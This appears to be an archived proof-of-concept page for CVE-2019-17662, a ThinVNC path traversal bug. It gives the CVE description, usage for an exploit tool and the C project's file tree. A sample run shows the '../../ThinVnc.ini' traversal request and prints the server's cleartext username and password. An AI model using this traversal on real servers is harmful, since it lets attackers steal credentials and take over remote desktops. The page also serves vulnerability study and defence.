Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-17662 PoC — ThinVNC 路径遍历漏洞

Source
Associated Vulnerability
Title:ThinVNC 路径遍历漏洞 (CVE-2019-17662)
Description:ThinVNC是一款基于HTML5和AJAX的远程桌面实现。 ThinVNC 1.0b1版本中存在路径遍历漏洞。攻击者可利用该漏洞读取任意文件,进而入侵VNC服务器。
Description
Exploit For CVE-2019-17662
Readme
<h1 align="center">CVE-2019-17662</h1>

## Description
> ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
>
>  ~ [NIST](https://nvd.nist.gov/vuln/detail/CVE-2019-17662)

## Usage
```bash
$ ./bin/CVE-2019-17662 -h
[~] Usage: ./CVE-2019-17662 -u URL [-f File]

[>] Options:
OPTIONS 	Desciption
-u URL 		Base URL
-f File 	[Optional] File Name To Query (Default: ThinVnc.ini)
```

```bash
$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/
[+] CVE-2019-17662 exploit by @whokilleddb
[o] Target : http://10.10.185.214:8080/
[x] File To Read: ThinVnc.ini
[~] Trying to Read: http://10.10.185.214:8080/abc/../../ThinVnc.ini
[:] Trying To Fetch Credentials
[-] User=Atlas
[-] Password=H0ldUpTheHe@vens
```
File Snapshot

[4.0K] /data/pocs/c516fddc136855d583a72f0ab49ad61ed461919c ├── [ 437] CMakeLists.txt ├── [4.0K] include │   ├── [ 256] CURL.h │   ├── [ 545] globals.h │   ├── [ 239] main.h │   └── [ 99] modules.h ├── [ 34K] LICENSE ├── [ 995] README.md └── [4.0K] src ├── [1.4K] CURL.c ├── [ 836] main.c └── [2.1K] modules.c 2 directories, 10 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.